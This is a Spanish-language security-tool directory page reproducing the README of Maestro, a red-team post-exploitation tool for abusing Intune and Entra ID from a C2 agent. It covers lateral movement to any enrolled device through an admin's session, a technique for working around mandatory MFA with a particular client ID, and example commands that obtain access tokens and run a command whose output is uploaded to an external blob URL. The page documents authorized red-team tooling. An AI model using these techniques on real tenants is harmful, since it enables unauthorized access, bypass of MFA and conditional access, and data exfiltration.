Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Maestro — Abusing Azure services over C2 | Kitploit
Herramientas/GitHubGitHub/mayyhem/maestro
Lateral MovementInformation GatheringPost-ExploitationCloud SecurityCommand and ControlAuthenticationRed Teaming
GitHubmayyhem/maestro

Maestro

Abusing Azure services over C2

Ver Repositorio
38035hace 7 mesesRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Sponsored by SpecterOps @_Mayyhem on Twitter

maestro-logo

Maestro

Maestro es una herramienta de post-explotación diseñada para interactuar con Intune/EntraID desde un agente C2 en la estación de trabajo de un usuario sin requerir conocimiento de la contraseña del usuario, flujos de autenticación de Azure, manipulación de tokens ni consola de administración basada en web. Maestro facilita mucho la interacción con Intune y EntraID (y potencialmente otros servicios de Azure) desde C2, ya que el operador no necesita obtener la contraseña en claro del usuario, extraer cookies de token de actualización principal (PRT) del sistema, ejecutar herramientas adicionales o una sesión de navegador a través de un proxy SOCKS, ni lidiar con flujos de autenticación de Azure, tokens o políticas de acceso condicional para ejecutar acciones en Azure en nombre del usuario con sesión iniciada.

Maestro es esencialmente un envoltorio para solicitudes locales de cookies PRT y llamadas a la API de Microsoft Graph, con muchas funciones de calidad de vida añadidas para red teamers. Maestro habilita rutas de ataque entre on-prem y Azure. Por ejemplo, al ejecutar Maestro en la máquina de un administrador de Intune, puedes ejecutar scripts de PowerShell en cualquier dispositivo inscrito sin conocer nunca las credenciales del administrador, incluso si MFA, cumplimiento de dispositivos y un dispositivo híbrido unido son requeridos por políticas de acceso condicional.

Las funciones de movimiento lateral de Maestro se inspiraron en Death from Above: Lateral Movement from Azure to On-Prem AD de Andy Robbins (@_wald0).

Puedes leer más en esta publicación de blog introductoria sobre Maestro: https://specterops.io/blog/2024/10/31/maestro-abusing-intune-for-lateral-movement-over-c2/

Características

  • Ejecución de scripts de PowerShell en tiempo real (mediante Proactive Remediations)
  • Ejecución de aplicaciones
  • Ejecución de Device Query en tiempo real
  • Forzar check-in y sincronización de dispositivos
  • Enumeración de objetos de Intune y Entra
  • Base de datos local para almacenar credenciales y resultados de consultas

Notas

Hay una compilación publicada en este repositorio con la configuración de compilación ReleasePlusMSAL. Ten en cuenta que esta configuración fusiona las dependencias de MSAL en el .exe pero aumenta significativamente el tamaño del binario resultante. Si no planeas usar el método -m 2 para solicitar tokens de acceso (SharpGetEntraToken mediante MSAL), puedes compilar una versión Release y el tamaño se reducirá significativamente.

A partir de febrero de 2025, Microsoft está implementando la aplicación obligatoria de MFA para la autenticación en Azure Portal y sus extensiones. El método predeterminado de solicitud de tokens de acceso mediante el flujo de código de autorización probablemente fallará en este caso, pero usar SharpGetEntraToken/MSAL (opción -m 2) y especificar un ID de cliente que no requiera MFA, como Azure PowerShell (1950a258-227b-4e31-a9cf-717495945fc2), debería seguir funcionando.

Sintaxis

Maestro.exe <command> [subcommand] [options]

Todos los comandos y subcomandos tienen una página de ayuda generada con un analizador de línea de comandos personalizado para mantener el tamaño del binario al mínimo. Se puede acceder a las páginas de ayuda introduciendo cualquier comando de Maestro seguido de -h o --help.

Consulta la salida de la opción --help de cada comando para obtener la información de uso más actualizada.

Puedes encontrar ejemplos al final de este archivo.

vNext

  • Enumeración local de Endpoint Privilege Management (EPM)

Blogs/Charlas

  • Diapositivas de DEF CON 32 Demo Labs

Desarrollo

Para la depuración, comparto un directorio en una máquina inscrita en Intune que sea accesible desde mi equipo host con Visual Studio, ejecuto el depurador remoto de Visual Studio, configuro una tarea posterior a la compilación para copiar los archivos de la solución al recurso compartido y configuro Visual Studio para depurar de forma remota en el sistema inscrito.

Colaboradores

El tiempo que puedo dedicar a investigar, desarrollar y mejorar Maestro no sería posible sin el patrocinio de SpecterOps al proyecto, como parte de su compromiso con la transparencia y el apoyo al desarrollo de código abierto. Estoy inmensamente agradecido por su orientación y apoyo.

Contribuciones

Algunas funciones de Maestro se inspiraron o se construyeron basándose en el trabajo de otras personas, incluyendo:

  • RequestAADRefreshToken, por Lee Chagolla-Christensen (@tifkin_)
  • ROADtoken, por Dirk-jan Mollema (@_dirkjan)
  • SharpGetEntraToken, por Daniel Heinsen (@hotnops)

Si estás interesado en colaborar, contáctame en Twitter (@_Mayyhem) o en el Slack de BloodHoundGang.

Ejemplos

Obtén un token de acceso para MS Graph usando MSAL y el ID de cliente de Azure PowerShell (aún no bloqueado por la MFA obligatoria):

root@kitploit:~
.\Maestro.exe get access-token -m 2 -t mayyhem.onmicrosoft.com -c 1950a258-227b-4e31-a9cf-717495945fc2 -s https://graph.microsoft.com/.default
2025-02-06 21:09:24.701 UTC - [INFO]    Execution started
2025-02-06 21:09:24.810 UTC - [INFO]    MSAL DLL loaded and ready for use.
2025-02-06 21:09:24.810 UTC - [INFO]    SharpGetEntraToken attempting to get an access token
2025-02-06 21:09:25.857 UTC - [INFO]    SharpGetEntraToken got an access token:
eyJ0...tDOg
2025-02-06 21:09:25.982 UTC - [INFO]    Completed execution in 00:00:01.3203797

Ejecuta dsregcmd.exe en el dispositivo de Intune con ID e537180b-6d04-427e-bf93-dbde818400eb, subiendo los resultados a la URL SAS del contenedor de Azure Storage Blob con un token de acceso compartido:

root@kitploit:~
.\Maestro.exe exec intune upload -i e537180b-6d04-427e-bf93-dbde818400eb -n MyPolicy --url 'https://maestro2go.blob.core.windows.net/uploads?st=2025-01-14T20:19:57Z&se=2025-01-15T04:19:57Z&si=All&sv=2022-11-02&sr=c&sig=QYri...ZkpA%3D' --commands "%windir%\system32\dsregcmd.exe"
...
2025-01-14 20:20:28.251 UTC - [INFO]    Creating new device assignment filter with displayName: d004a709-aae6-4fbf-91cd-48f227272c97
2025-01-14 20:20:28.251 UTC - [INFO]    Requesting devices from Intune
2025-01-14 20:20:28.267 UTC - [INFO]    Requesting IntuneDevices from Microsoft Graph
2025-01-14 20:20:28.783 UTC - [INFO]    Found 1 IntuneDevice matching query in Microsoft Graph
2025-01-14 20:20:29.017 UTC - [INFO]    Found 1 devices in filtered results
2025-01-14 20:20:29.361 UTC - [INFO]    Obtained filter ID: 6fdc043b-4c3a-4f77-b9a3-0d65d9300e64
2025-01-14 20:20:29.379 UTC - [INFO]    Creating custom config policy for device: e537180b-6d04-427e-bf93-dbde818400eb
2025-01-14 20:20:29.649 UTC - [INFO]    Obtained policy ID: fbca5c35-5282-4ec7-87de-a2d16a743079
2025-01-14 20:20:29.680 UTC - [INFO]    Assigning policy fbca5c35-5282-4ec7-87de-a2d16a743079 with filter 6fdc043b-4c3a-4f77-b9a3-0d65d9300e64
2025-01-14 20:20:29.983 UTC - [INFO]    Successfully assigned policy with filter
2025-01-14 20:20:29.983 UTC - [INFO]    Successfully created and assigned diagnostic logs policy with request ID 651d2244-4ad7-4efe-bb5e-d017b0c27750
2025-01-14 20:20:29.999 UTC - [INFO]    Not syncing automatically, execute the following to force device sync:

    .\Maestro.exe exec intune sync -i e537180b-6d04-427e-bf93-dbde818400eb

Clean up after execution:
    .\Maestro.exe delete intune policy -i fbca5c35-5282-4ec7-87de-a2d16a743079
    .\Maestro.exe delete intune filter -i 6fdc043b-4c3a-4f77-b9a3-0d65d9300e64

2025-01-14 20:20:29.999 UTC - [INFO]    Completed execution in 00:00:04.8572902
Descargar herramienta